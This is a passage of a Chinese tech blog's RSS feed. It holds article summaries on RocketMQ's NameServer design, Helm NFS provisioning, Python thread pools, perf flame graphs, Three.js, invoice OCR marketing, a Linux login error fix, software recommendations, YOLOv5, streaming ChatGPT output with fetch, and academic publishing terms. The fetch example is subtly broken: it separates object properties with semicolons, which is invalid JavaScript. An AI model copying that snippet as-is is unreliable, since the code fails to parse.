      <description>在分布式服务架构中，任何中间件或者应用都不允许单点存在，服务发现机制是必备的。服务实例有多个，且数量是动态变化的。注册中心会提供服务管理能力，服务调用方在注册中心获取服务提供者的信息，从而进行远程调用。接下来介绍一下RocketMQ的整体架构设计、集群管理。&#xA;整体架构设计 首先介绍一下RocketMQ和Kafka的渊源， Kafka是一款高性能的消息中间件，经常在大数据场景中被使用，但由于Kafka不支持消费失败重试、定时消息、事务消息，顺序消息也有明显缺陷，难以支撑淘宝交易、订单、充值等复杂业务场景。淘宝中间件团队参考Kafka重新设计并用Java编写了RocketMQ，因此在RocketMQ中会有一些概念和Kafka相似。&#xA;常见的消息中间件Kafak、RabbitMQ、RocketMQ等都基于发布/订阅机制，消息发送者把消息发送到消息服务器，消息消费者从消息服务器订阅感兴趣的消息。这个过程中消息发送者和消息消费者是客户端，消息服务器是服务端，客户端与服务端双方都需要通过注册中心感知彼此。&#xA;RocketMQ部署架构主要分为四部分，如下图所示&#xA;Producer：消息发布的角色，主要负责把消息发送到Broker，支持分布式集群方式部署。Consumer：消息消费者的角色，主要负责从Broker订阅消息消费，支持分布式集群方式部署。Broker：消息存储的角色，主要负责消息的存储、投递和查询，以及服务高可用保证，支持分布式集群方式部署。NameServer：服务管理的角色，主要负责管理Broker集群的路由信息，支持分布式集群方式部署。 NameServer是一个非常简单的Topic路由注册中心，其角色类似于Dubbo中依赖的ZooKeeper，支持Broker的动态注册与发现。主要包含以下两个功能：&#xA;服务注册：NameServer接收Broker集群的注册信息，保存下来作为路由信息的基本数据，并提供心跳检测机制，检查Broker是否还存活。路由信息管理：NameServer保存了Broker集群的路由信息，用于提供给客户端查询Broker的队列信息。Producer和Consumer通过NameServer可以知道Broker集群的路由信息，从而进行消息的投递和消费。 基本概念 Message：消息，系统所传输信息的物理载体，生产和消费数据的最小单位，每条消息必须属于一个Topic，RocketMQ中每条消息拥有一个唯一的MessageID，并且可以携带具有业务表示的Key。Topic：主题，表示一类消息的集合，每个主题都包含若干条消息，每条消息都只能属于一个主题，Topic是RocketMQ进行消息订阅的基本单位。Queue：消息队列，组成Topic的最小单元，默认情况下一个Topic会对应多个Queue，Topic是逻辑概念，Queue是物理存储，在Consumer消费Topic消息时，底层实际则拉取Queue的消息。Tag：为消息设置的标志，用于同一主题下区分不同类型的消息。来自同一业务单元的消息，可以根据不同业务目的在同一主题下设置不同标签。标签能够有效地保持代码的清晰度和连贯性，并优化RocketMQ提供的查询系统。消费者可以根据Tag实现对不同子主题的不同消费的处理逻辑，实现更好的扩展性。UserProperties：用户自定义属性集合，属于Message的一部分。ProducerGroup：同一类Producer集合，这类Producer发送同一类消息且发送逻辑一致。如果发送的是事务消息且原始生产者在发送之后崩溃，则Broker服务器会联系同一生产者组的其它生产者实例提交或者回溯消费。ConsumerGroup：同一类Consumer的集合，这类Consumer通常消费同一类消息且消费逻辑一致。消费者组使得在消息消费方面，实现负载均衡和容错的目标变得非常容易。消费者组的消费者实例必须订阅完全相同的Topic。 为什么使用NameServer 在Kafka中的服务注册与发现通常是用ZooKeeper来完成的，RocketMQ早期也使用了ZooKeeper做集群管理，但后来放弃了转而使用自己开发的NameServer。&#xA;在Kafka中，Topic是逻辑概念，分区是物理概念。1个Topic可以设置多个分区，每个分区可以设置多个副本，即有一个Master分区、多个Slave分区。&#xA;比如，搭建3个Broker构成一个集群，创建一个Topic取名为TopicA，分区是3个，副本数是2个。在上图中part表示分区，M表示Master，S表示Slave。&#xA;在Kafka中消息只能发送到Master分区中，消息发送给Topic时会发送到具体某个分区。如果发送给part0就只会发送到Broker0这个实例中，再由Broker0同步到Broker1和Broker2中的part0的副本中；如果发送给part1的消息，就只会发送到Broker1这个实例中，再由Broker1同步到Broker0和Broker2中的part1的副本中。&#xA;在RocketMQ中，Topic也是逻辑概念，队列(Queue)是物理概念(对应Kafka中的分区)。1个Topic可以设置多个队列，每个队列也可以有多个副本，即有一个Master队列、多个Slave队列。&#xA;RocketMQ的部署拓扑图如下：&#xA;为了方便对比，同样创建一个Topic取名为TopicA，队列是3个，副本数也是2个，但构成Broker集群的实例有9个。&#xA;Kafka与RocketMQ两者在概念上相似，但又有明显的差异&#xA;在Kafka中，Master和Slave在同一台Broker机器上，Broker机器上有多个分区，每个分区的Master/Slave身份是在运行过程中选举出来的。Broker机器具有双重身份，既有Master分区，也有Slave分区。在RocketMQ中，Master和Slave不在同一台Broker机器上，每台Broker机器不是Master就是Slave，Broker的Master/Slave身份是在Broker的配置文件中预先定义好的，在Broker启动之前就已经决定了。 这个差异的影响在哪里呢？Kafka的Master/Slave需要通过ZooKeeper选举出来，而RocketMQ不需要。问题就在这个选举上，ZooKeeper具备选举功能，选举机制的原理就是少数服从多数，那么ZooKeeper的选举机制必须由ZooKeeper集群中的多个实例共同完成。ZooKeeper集群中的多个实例必须相互通信，如果实例数很多，网络通信就会变得非常复杂且低效。&#xA;NameServer的设计目标是让网络通信变的简单，从而使性能得到极大的提升。为了避免单点故障，NameServer也必须以集群的方式部署，但集群中各个实例之间相互不进行网络通信。NameServer是无状态的，可以任意部署多个实例。Broker向每一台NameServer注册自己的路由信息，因此每一个NameServer实例都保存一份完整的路由信息。NameServer与每台Broker机器保持长连接，每隔30s从路由注册表中将故障机器移除。NameServer为了降低实现的复杂度，并不会立即通知客户端的Producer和Consumer。&#xA;集群环境下实例很多，偶尔会出现各种各样的问题，以下几种场景需要思考：&#xA;当某个NameServer因宕机或者网络问题下线了，Broker如何同步路由信息？&#xA;由于Broker会连接NameServer集群的每一个实例，Broker仍然可以向其它NameServer同步路由信息，Producer和Consumer仍然可以动态感知Broker的路由信息。NameServer如果检测到Broker宕机，并没有立即通知Producer和Consumer，Producer将消息发送到故障的Broker怎么办？Consumer从Broker订阅消息失败怎么办？&#xA;RocketMQ为了简化NameServer的设计，这两个问题都是在客户端解决的，可以参考RocketMQ高可用相关的文章。由于NameServer集群中的实例相互不通信，在某个时间点不同NameServer实例保存的路由信息可能不一致。&#xA;这对发送消息和消费消息并不会有什么影响，原理和上一个问题是一样的，从这里可以看出NameServer是CAP种的AP架构。 彩蛋&#xA;点击下方链接，可以免费获取大量电子书资源&#xA;免费领取资源</description>
    </item>
    <item>
      <title>Helm部署NFS存储类nfs-subdir-external-provisioner</title>
      <link>https://bchobby.github.io/posts/7bfde4a89b6366a0fda01248c6b0a2a0/</link>
      <pubDate>Mon, 20 Nov 2023 15:18:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bfde4a89b6366a0fda01248c6b0a2a0/</guid>
      <description> Helm部署NFS存储类nfs-subdir-external-provisioner 1.nfs-subdir-external-provisioner 镜像不容易下载 这里本地上传 这是我下载的压缩包&#xA;上传到linux 并解压&#xA;tar -zxvf k8s.gcr.io_sig-storage_nfs-subdir-external-provisioner_v4.0.2.tar.gz 加载镜像&#xA;sudo docker load &amp;lt; nfs-subdir-external-provisioner.tar 2.镜像上传Harbor镜像托管 我们部署了Harbor作为镜像托管 所以这里要对镜像Tag 重命名一下&#xA;sudo docker tag k8s.gcr.io/sig-storage/nfs-subdir-external-provisioner:v4.0.2 172.25.130.53:80/common/nfs-subdir-external-provisioner:v4.0.2 然后上传到Harbor中方便下载&#xA;sudo docker push 172.25.130.53:80/common/nfs-subdir-external-provisioner:v4.0.2 3.Helm部署nfs-subdir-external-provisioner 查询Chart&#xA;下载指定的版本 这样方便版本控制&#xA;helm pull appstore/nfs-subdir-external-provisioner --version 4.0.9 修改values.yml&#xA;修改镜像地址&#xA;修改NFS服务器地址&#xA;回到目录 安装Chart&#xA;helm install nfs-subdir-external-provisioner nfs-subdir-external-provisioner/ </description>
    </item>
    <item>
      <title>Python 基础之线程池入门</title>
      <link>https://bchobby.github.io/posts/f470b01d5680222025e61327b0a3343f/</link>
      <pubDate>Mon, 20 Nov 2023 15:16:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f470b01d5680222025e61327b0a3343f/</guid>
      <description> Python 基础之线程池入门 代码示例 import threading import time from concurrent.futures import ThreadPoolExecutor # 创建线程池 threadpool = ThreadPoolExecutor(max_workers= 20) # 具体执行任务的方法 def test(i): print(&#34;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; 线程名称：%s 方法参数：%s&#34; %(threading.current_thread().name,i)) def do_thread(): for i in range(0,20): # 提交具体执行方法至线程池，返回 Future 对象 future_data = threadpool.submit(test,i) # 关闭线程池 threadpool.shutdown() if __name__ == &#39;__main__&#39;: do_thread() 执行结果 </description>
    </item>
    <item>
      <title>生成perf flame性能分析图</title>
      <link>https://bchobby.github.io/posts/bf69753420e4f27505222d8217f25201/</link>
      <pubDate>Mon, 20 Nov 2023 15:15:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf69753420e4f27505222d8217f25201/</guid>
      <description> flame svg图是一种用来可视化CPU的调用栈的图形，可以帮助分析程序的性能瓶颈。flame svg图的每一列代表一个CPU的采样点，每一行代表一个函数调用，颜色代表不同的函数或模块。flame svg图的高度表示CPU的利用率，宽度表示函数的执行时间。&#xA;要生成flame svg图，需要使用perf工具来收集CPU的调用栈信息。perf是一款Linux内核自带的性能分析工具，可以用来监控和分析各种硬件和软件的事件。perf可以通过命令行的方式，指定要监控的进程、事件、时间和频率等参数。例如，以下命令可以用来监控一个名为myapp的进程的CPU周期事件，每秒采样1000次，持续10秒：&#xA;perf record -F 1000 -p $(pidof myapp) -g -o perf.data -- sleep 10 perf会将采样的数据保存在perf.data文件中，这个文件可以用perf script命令来转换为文本格式。例如，以下命令可以用来将perf.data文件转换为stackcollapse-perf格式的文本，并保存在stacks.out文件中：&#xA;perf script -i perf.data | stackcollapse-perf.pl &amp;gt; stacks.out stackcollapse-perf.pl是一个Perl脚本，可以用来将perf script的输出转换为一种适合生成flame svg图的格式。这个脚本可以在以下网址下载。&#xA;最后，可以使用flamegraph.pl脚本来将stacks.out文件转换为flame svg图，并保存在flame.svg文件中。flamegraph.pl也是一个Perl脚本，可以用来生成flame svg图的SVG文件。这个脚本也可以在以下网址下载。例如，以下命令可以用来生成flame svg图：&#xA;flamegraph.pl stacks.out &amp;gt; flame.svg </description>
    </item>
    <item>
      <title>Threejs_06 多材质的实现</title>
      <link>https://bchobby.github.io/posts/71ac2c31983d8bfbbbbf0ee8c633bea3/</link>
      <pubDate>Mon, 20 Nov 2023 14:24:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71ac2c31983d8bfbbbbf0ee8c633bea3/</guid>
      <description>Threejs 同一个几何体如何实现多材质呢？&#xA;多材质的实现 1.使用索引绘制一个几何体 //创建几何体(三角形) const geometry = new THREE.BufferGeometry(); //使用索引绘制 (两个共用的) const vertices = new Float32Array([ -1.0, -1.0, 0.0, 1.0, -1.0, 0.0, 1.0, 1.0, 0.0, -1.0, 1.0, 0, ]); //创建顶点属性 geometry.setAttribute(&#34;position&#34;, new THREE.BufferAttribute(vertices, 3)); //创建索引 const indices = new Uint16Array([0, 1, 2, 2, 3, 0]); //创建索引属性 geometry.setIndex(new THREE.BufferAttribute(indices, 1)); 2. 设置顶点组(为了方便应用材质) // 设置2个顶点组 形成两个材质 顶点0开始 添加3个顶点 用的是第一个材质(第三个参数) geometry.addGroup(0, 3, 0); geometry.addGroup(3, 3, 1); //顶点3开始 添加三个顶点 第二个材质 3.创建两个材质 //创建材质 const material = new THREE.</description>
    </item>
    <item>
      <title>小小发票拦住出海“巨头”，合合信息智能文档处理技术助力企业重塑财务管理流程</title>
      <link>https://bchobby.github.io/posts/1240a29b575227f9fa2690d5aaeb3dfb/</link>
      <pubDate>Mon, 20 Nov 2023 11:38:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1240a29b575227f9fa2690d5aaeb3dfb/</guid>
      <description>作为连接企业采购、生产、运营、销售等经营行为的枢纽，财务系统的数字化、智能化升级近年来变得愈发重要。发票的录入、存储关乎企业应收账款管理和税务规范，通过技术手段提升发票管理的精准度与效率，也成为了财务数字化的关键环节。&#xA;近日，合合信息智能票据产品TextPro正式上线中国某知名新能源车企的国际财务共享中心，将通过AI技术解决该企业在横跨欧洲7国的经营版图中，存在的多语种、多票种、低效率等票据处理痛点。&#xA;“小票”拦住出海“巨头”，智能文档处理技术破解难题&#xA;据悉，该车企在全球范围内有3000余家供应商，长期被来自欧洲多个国家非固定版式的海量发票所困扰。“巨头”被“小票”拦路并非个例。乘势数字化机遇，近年来中国企业出海步伐不断加速，票据管理工作也在与国际市场的接轨中经历着挑战。由于各业务线票据版式不同、多语言识别不清，业务人员手工录入流程繁琐易出错，票据存档方式复杂，财务中心人员对多国会计准则不一等多种原因，票据管理的数字化之路面临着重重坎坷。&#xA;基于智能文档处理技术，合合信息智能票据产品帮助该企业解决了以上痛点。基于深度学习的方法，合合信息提供的智能处理解决方案，让计算机可以更好地模拟人眼和大脑去识别各类票据，实现对多语言、多版式、多类型的会计凭证识别结构化信息提取；面对客户的海外供应商上传的各类发票，智能票据产品可提供多语言发票的“开箱式”智能识别服务，减轻财务票据处理压力。&#xA;目前，该新能源车企财务共享中心仅需安排3位工作人员，便可完成来自欧洲7国的发票审核。在节省时间和人力资源的同时，企业也实现了从发票创建、识别和数据验证、错误纠正、发送数据影像到后续持续优化的票据处理全流程自动化管理，让票据辨识不再依赖个人经验，提升数据规范性和过账标准一致性。&#xA;财务共享中心“建设潮”背后，企业财务管理流程正被重塑&#xA;财务共享中心可将原本低效率高重复的流程统一集中处理，通过标准化作业，减少人为差错，降低业务成本，提高各部门的工作效率。因此，集团企业通过建设财务共享中心，对企业原有的财务流程进行重塑的动作越来越普遍。&#xA;某世界500强集团的财务共享中心负责集团下属所有二级集团及子公司的财务工作。因各业务线需要录入、识别、验真的凭证种类繁多，审核工作量极大。单从凭证类型统计，该集团子公司申请付款时，需要向集团财务共享中心提交的凭证包便包括：完税证明、银行回单、采购合同、付款合同、收款合同、销售合同、发票、销货清单、验收单、结算单、银行承兑汇票等材料，票据审核工作量极大，仅审核岗员工就超过了200名。&#xA;为了加强财务管控、减轻财务风险，该集团与合合信息合作共建了财务共享中心。合合信息智能文档处理技术可有效解决图像质量低、文档版式多样、手写字体识别、表格识别等图像处理传统难点，对多版式文档的文字、表格、印章、签字等审核项信息进行精准识别与抽取，帮助该集团对多种凭证进行文字检测、识别与关键信息抽取，实现审核字段的自动提取、信息一致性校验，减轻人工审核工作量，提升凭证审核效率。&#xA;财务共享中心“建设潮”的现象，反映了企业财务管理流程从“组织和流程驱动”到“人工智能和数据驱动”的演进趋势。合合信息将持续依托前沿技术，推进企业财务数字化转型升级进程。据悉，合合信息智能解决方案已在金融、政务、制造、物流等30个行业落地，服务的世界500强公司超过125家。</description>
    </item>
    <item>
      <title>mesg:ttyname failed: Inappropriate ioctl for device 对设备不适当的ioctl操作</title>
      <link>https://bchobby.github.io/posts/3b6783067c405c5a55d3067217268ada/</link>
      <pubDate>Mon, 20 Nov 2023 09:09:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b6783067c405c5a55d3067217268ada/</guid>
      <description>一、问题 给ubuntu、kylin（麒麟）等系统登录界面加上手动输入用户名和密码的登录选项，使用用户名root登录后， 弹出如下提示框。&#xA;二、解决办法 编辑配置文件&#xA;vi /root/.profile 把&#xA;mesg n || true 修改为&#xA;tty -s &amp;amp;&amp;amp; mesg n || true 即可。&#xA;三、原因 ubuntu、kylin（麒麟）等系统的设计理念就是尽量避免直接用root账户进行操作。因此，当有人尝试使用root账户直接登录，便会发出图中的错误信息。实际上，这个错误本身不会影响系统的运行，将如上的窗口关闭后，系统还是能够正常的进入图形界面，一切操作都能继续。解决方法最大的作用就是将这个错误信息关掉。&#xA;图中的提示框已经告诉我们，错误产生自命令mesg。对比~/.profile和/root/.profile这两个文件，可以发现只有后者执行了mesg。我试着在~./profile文件末尾也加上mesg n || true。结果，发现普通用户登录后也会报图中的错误。mesg n 报错的原因是，在进入图形界面之前，当前会话中并没有TTY设备，消息无处显示，便会报错。&#xA;所以，真正的原因总结如下：为了提醒用户不要尝试直接登录root账户，利用mesg命令的特性，在/root/.profile中加入了mesg n || true。解决方法的思想就是，在没有tty设备时，不继续执行命令mesg。所以报错信息也消掉了。&#xA;参考：linux - Xubuntu 16.04 ttyname failed Inappropriate ioctl for device - Super User</description>
    </item>
    <item>
      <title>【软件推荐】我的常用Windows软件</title>
      <link>https://bchobby.github.io/posts/4c8e25865ce69723f93b812e20267a28/</link>
      <pubDate>Mon, 20 Nov 2023 09:00:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c8e25865ce69723f93b812e20267a28/</guid>
      <description>文章目录 前言软件安装习惯Colors Lite（颜色吸取）Everything（文件搜索）知云文献翻译Directory Opus（文件管理器）Snipaste（截图）AxMath（公式编辑器）Deskpin（窗口固定）Hayo（AI）剪映（视频剪辑）OBS（录屏）PotPlayer（视频播放器）Todesk（远程控制）Typora（Markdown文件编辑器）飞书（构建知识库）Xmind（思维导图）QuickLook（快速查看、微软商店下载）Twinke Tray:Brightness Slider（亮度调节）火绒（垃圾清理、广告拦截、应用自启动管理）亿图图示（画图软件）IDEA（Java IDE）WebStorm（前端开发）Xshell、Xftp（远程服务器连接）Postman（模拟请求发送）JMeter（压力测试）HbuilderX、微信开发者工具（小程序）Navicat（数据库管理软件）Docker（容器管理）Git（版本控制）QuickRedis（查看Redis的数据）ShareMouse（一套键鼠控制多台电脑）GifCam（录制Gif动图）Utools 前言 作为一个成熟的学生 打工人，肯定不能缺少一些能够大大提升我学习 工作效率的神仙软件，这么多年来，我已经积累了不少实用软件，在这里通通分享给大家&#xA;软件安装习惯 我在安装软件时会分成两个文件夹，一个是日常软件安装文件夹，一个是开发环境安装文件夹。&#xA;我还会将给所有软件都分别创建一个文件夹进行管理，这样后面需要找安装包发给别人也比较方便&#xA;对于每个软件，我会创建两个文件夹，一个用来存储软件的安装包，另一个作为软件的安装路径&#xA;Colors Lite（颜色吸取） 在写前端页面的时候，有时候需要经常参考其他网站的色系，这时候就可以使用颜色吸取软件来吸取想要获取的颜色，这样就可以得到RGB、十六进制颜色等等&#xA;吸取颜色&#xA;颜色吸取成功&#xA;Everything（文件搜索） 这个软件可以快速根据名字从所有盘中搜索到想要的文件&#xA;知云文献翻译 这个软件可以快速根据鼠标所选中的英文句子翻译出其中文意思，对于我这种英语学渣实在是太友好了&#xA;Directory Opus（文件管理器） 对于我来说，这个文件管理器最大的优点是可以将常用的文件夹收藏起来，这样在寻找文件的时候可以快速打开想要打开的文件夹&#xA;Snipaste（截图） 该软件可以很方便地进行截图，截出来的图可以悬挂在电脑上（这个功能非常适用于将截图的内容作为参照），除此之外，对图片进行标记也非常方便，因此这个功能非常适合进行网课学习&#xA;AxMath（公式编辑器） 这个编辑器可以植入到Word文档中，还可以根据公式逆转出其Latex代码&#xA;Deskpin（窗口固定） 这个软件可以将窗口固定住在最上层，所被固定的窗口不会因为点击屏幕或者其他软件而被缩小到状态栏中或者被其他软件所遮挡&#xA;Hayo（AI） 使用该软件可以非常便捷地让AI帮助你干活，还可以切换成不同的大语言模型&#xA;剪映（视频剪辑） 因为我不是专业的视频剪辑工作者，只是在很少时间需要使用到视频剪辑功能，剪映可以非常方便地根据声音来生成字幕，还可以根据字母来生成音频（这个功能简直是我广东普通话的救星）&#xA;OBS（录屏） 这个软件不仅免费，还可以任意框定录屏区域、设置视频的格式和画质&#xA;PotPlayer（视频播放器） 支持多种格式的视频播放&#xA;Todesk（远程控制） 该软件可以让你很流畅地控制另一台电脑，在帮助别人远程解决问题的时候非常方便，就是不开会员的话，画质比较差（这不是软件的问题，是我的问题，谁让我穷呢）&#xA;Typora（Markdown文件编辑器） 使用该软件可以很方便地编辑md文件，实在是做笔记必备软件，还支持导入大佬所开发地主题，让笔记变成你爱看的模样&#xA;在编辑文章时，图片默认会被放到一个文件目录下面，这样后面进行文档迁移或者将文档发给别人都不方便，建议向我一样设置&#xA;当向上面一样设置之后，文档对应的文件会被放到一个图片文件夹中，后面需要迁移文档或者将文档分享给小伙伴，只需要同时拷贝md文件和其对应的assets文件夹即可&#xA;飞书（构建知识库） 该网站的文档支持md语法，非常使用用来做笔记，还可以实时同步，不同设备可以同时编辑和查看相同的文件&#xA;Xmind（思维导图） 该软件可以非常方便地辅助你创建思维导图，只需要简单地按下快捷键就可以创建分支，还提供多种美观地思维导图样式&#xA;QuickLook（快速查看、微软商店下载） 安装该软件之后，可以按下空格键来快速预览文件，例如图片、视频，这样速度比较快&#xA;Twinke Tray:Brightness Slider（亮度调节） 有时候不同显示器的亮度不太一样，只是靠电脑来调节亮度调节，有的暗、有的亮，实在是太难受，该软件支持针对不同的显示器来调节不同的亮度，可以很好地保护眼睛&#xA;火绒（垃圾清理、广告拦截、应用自启动管理） 自从用了火绒之后，妈妈再也不用担心我的电脑出现广告弹窗了，相比于360，这个软件不会捆绑其他软件，但是杀毒能力也有所欠缺&#xA;亿图图示（画图软件） 亿图图示提供非常多的绘图模板，实在是大作业必备的好软件&#xA;IDEA（Java IDE） 相较于Eclipse，IDEA的界面更加精美，拥有完整的代码提示功能，还可以轻松安装其他插件，例如代码格式标准化插件、AI代码插件等等&#xA;WebStorm（前端开发） VsCode较为轻量，非常适合用于前端开发，但是因为我已经熟悉了IDEA的操作逻辑，因此更加喜欢使用WebStorm来开发，jetbrains公司的IDE使用一套统一的操作逻辑，例如快捷键相同、菜单栏类似&#xA;Xshell、Xftp（远程服务器连接） Xshell可以非常方便地和远程服务器建立连接，Xftp可以非常方便地和服务器进行文件传输&#xA;Postman（模拟请求发送） 适用于后端开发，可以非常方便地模拟请求，可以设置请求方法、请求参数、请求头……</description>
    </item>
    <item>
      <title>YOLOv5 学习记录</title>
      <link>https://bchobby.github.io/posts/3aff8dfc57374f6532936d05d104f3a8/</link>
      <pubDate>Sun, 19 Nov 2023 22:43:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aff8dfc57374f6532936d05d104f3a8/</guid>
      <description>文章目录 整体概况数据增强与前处理自适应Anchor的计算Lettorbox 架构SiLU激活函数YOLOv5改进点SSPF 模块 正负样本匹配损失函数 整体概况 YOLOv5 是一个基于 Anchor 的单阶段目标检测，其主要分为以下 5 个阶段：&#xA;1、输入端：Mosaic 数据增强、自适应Anchor计算、自适应图像缩放；&#xA;2、Backbone：提取出高中低层的特征，使用了 CSP 结构、SPPF、SiLU 等操作；&#xA;3、Neck：使用 FPN+PAN 结构，将各层次的特征进行融合，并提取出大中小的特征图；&#xA;4、Head：进行最终检测部分，在特征图上应用 Anchor Box，并生成带有类别概率、类别&#xA;得分以及目标框的最终输出向量；&#xA;5、损失函数：计算预测结果与 Ground Truth 之间的 Loss。&#xA;数据增强与前处理 自适应Anchor的计算 自适应 Anchor 计算&#xA;在 YOLOv3、YOLOv4 中，训练不同的数据集时，计算初始 Anchor 的值是通过单独的程序运行的。但 YOLOv5 中将此功能嵌入到代码中，每次训练时会自适应的计算不同训练集中的最佳 Anchor 值。&#xA;自适应计算 Anchor 的流程如下：&#xA;1、载入数据集，得到数据集中所有数据的 w、h；&#xA;2、将每张图像中 w、h 的最大值等比例缩放到指定大小，较小边也相应缩放；&#xA;3、将 bboxes 从相对坐标改成绝对坐标（乘以缩放后的 w、h）；&#xA;4、筛选 bboxes，保留 w、h 都大于等于 2 像素的 bboxes;&#xA;5、使用 k-means 聚类得到 n 个 Anchors;</description>
    </item>
    <item>
      <title>fetch 获取流式数据(chatgpt的流式输出)</title>
      <link>https://bchobby.github.io/posts/b70ee176edb6e413616ac9488571e607/</link>
      <pubDate>Sun, 19 Nov 2023 22:06:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b70ee176edb6e413616ac9488571e607/</guid>
      <description>背景：项目中需要获取chatgpt实时返回的数据&#xA;使用场景：在对接chatgpt 语言模型的时候采取的这种方案，因为目前的大语言的模型的结果都是需要一点点计算的，如果提出的问题比较复杂就导致响应的时间过长。&#xA;好处：流式获取一般在用于数据量比较大的情况，一次性返回会导致前端页面加载时间过长或者请求超时等问题，这时候我们就可以考虑使用流式的方式拿到部分数据并先展示，从而提升用户体验。&#xA;async function getChatgptMsg() { const response = await fetch(&#39;你的url&#39;, { method: &#39;POST&#39;, headers: { &#39;Content-Type&#39;: &#39;application/json&#39; }, dataType: &#34;text/event-stream&#34;, body: JSON.stringify({ model: &#39;gpt-4&#39;, messages: messages, frequency_penalty: 0; max_tokens:4000; model:&#34;gpt-4&#34;; presence_penalty: 0.6; temperature: 0.5; top_p :1; }) }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const reader = response.body.getReader(); let decoder = new TextDecoder(); let resultData = &#39;&#39;; let result = true; while (result) { const { done, value } = await reader.</description>
    </item>
    <item>
      <title>【科普】一篇搞定发paper基本概念：SCI、EI、会议/期刊、分区、CCF、DOI、IF、h-index、及cs/ee常见会议：CVPR、GlobeCOM等</title>
      <link>https://bchobby.github.io/posts/a8443581ba05f1b110359cdf5a72ff63/</link>
      <pubDate>Sun, 19 Nov 2023 11:00:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8443581ba05f1b110359cdf5a72ff63/</guid>
      <description>文章目录 基础概念SCI、EI、CPCI（ISTP）论文类型：Journal、magazine、transaction、letter、 proceedingsDOI（数字对象标识Digital Object Identifier）IF 期刊影响因子(Impact Factor，IF)H指数 (h-index/h-factor)刊号ISSN收录号/检索号AcessionNumberarXiv如何查看相关信息 科研体系关于会议组织者、出版商、科研工作者的关系以及工作流程出版商-数据库收录、检索如何判断论文是否被SCI/EI收录会议与期刊 分区为什么要分区JCR分区中科院分区中科院基础版和升级版有何区别？top期刊 JCR&amp;amp;中科院区别如何查看期刊分区CCF分区CCF分区和SCI分区有什么区别？ 常见会议/期刊ICML、NeurIPS/NIPS（机器学习两大顶会）ICLR、IJCAI、AAAI（深度学习领域顶会）CVPR、ICCV、ECCV（计算机视觉三大顶会（统称ICE））计算机视觉与自然语言处理领域顶会通信专业会议（ICC、GlobeCOM、INFOCOM） 研一小白，有一些基础概念一直一知半解，遂作一个整理，以期较为系统掌握，但由于了解不深，纯属纸上谈兵，信息来自互联网，不一定对，若下文有错，还请在评论区不吝赐教！我将及时修改&#xA;每块信息若有参考，我将在下面注明链接，作为延伸阅读，但一般不用看，我都消化汇总一遍咯&#xA;转载需注明出处：CSDN@z5z5z5z56&#xA;基础概念 SCI、EI、CPCI（ISTP） 国际学术期刊（AcademicJournal）三大科技文献检索系统：SCI、EI、CPCI（ISTP）&#xA;SCI(ScienceCitationIndex)自然科学引文索引&#xA;是一部期刊文献检索工具。它通过论文的被引用频次等的统计，对学术期刊和科研成果进行多方位的评价研究，从而评判出一个国家或地区、科研单位、个人的科研产出绩效，来反映其在国际上的学术水平。是1957年由美国科学信息研究所做的数据库。SCI使用JCR作为影响因子EI（工程索引）&#xA;是由美国工程师学会联合会于1884年创办的历史上最悠久的一部大型综合性检索工具。EI在全球的学术界、工程界、信息界中享有盛誉，是科技界共同认可的重要检索工具。EI，在工科领域EI是仅次于SCI的，特别是在一些非热点的传统工科里SCI期刊屈指可数、EI就已是顶级期刊CPCI（原名ISTP）（科技会议录索引）&#xA;创刊于1978年，由美国科学情报研究所编辑出版。该索引收录生命科学、物理与化学科学、农业、生物和环境科学、工程技术和应用科学等学科的会议文献，包括一般性会议、座谈会、研究会、讨论会、发表会等。其中工程技术与应用科学类文献约占35%，其他涉及学科基本与SCI相同。 那么，建立索引的本意是什么？&#xA;检索工具+评价体系：&#xA;第一，有利于了解某位著者或某一机构发表论文的数量及其影响情况。&#xA;第二，有利于了解世界范围内某一学科的研究动态。&#xA;第三，有利于了解研究热点及某篇论文的被引用情况。&#xA;（而不是拿来评奖学金，戴帽子的）&#xA;SCI、EI和IEEE有什么区别&#xA;SCI的作用&#xA;论文类型：Journal、magazine、transaction、letter、 proceedings letter:&#xA;属于快报形式，一般发表最新的研究成果，文章要求短小（4页），有即时性，理论推导要求不高Journal：&#xA;刊登关于某特殊主题的文章的期刊 例如Journal of Internet TechnologyTransactions：&#xA;(学会等的)议事录,会报,会刊 例如IEEE Transactions on Vehicular Technology Journal、Transactions这两个属于同一类，期刊论文，但两者面向的读者和表达方式上略有不同。两者都需要有很大的创新点，和比较详细的公式推导。&#xA;Trans:具体到一个相对较细的专业方向上，如IEEETrans.Sign.Proc.&#xA;jour:面向的读者群却更加广泛,如IEEEJ-SAC,所以jour需要对背景知识有更加全面的介绍。&#xA;虽然jour没有trans.的专注度高，但是其理论深度的要求也很高&#xA;proceedings&#xA;记录,会议录;年[学]报;(科学文献)汇编，会议的文章发表为论文集，通常是这个类型，例如&#xA;Proceedings of the 2021 IEEE International Conference on Communications, Computing, Cybersecurity and Informatics, CCCI 2021&#xA;magazine&#xA;综合性内容的期刊&#xA;内容难度：letter&amp;lt;journal&amp;lt;transactions</description>
    </item>
    <item>
      <title>macOS 后台项目已添加 “Google Updater添加了可在后台运行的项目。你可以在“登陆项”设置中管理</title>
      <link>https://bchobby.github.io/posts/584d9916e54e02922145fe74e3f002db/</link>
      <pubDate>Sun, 19 Nov 2023 10:56:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/584d9916e54e02922145fe74e3f002db/</guid>
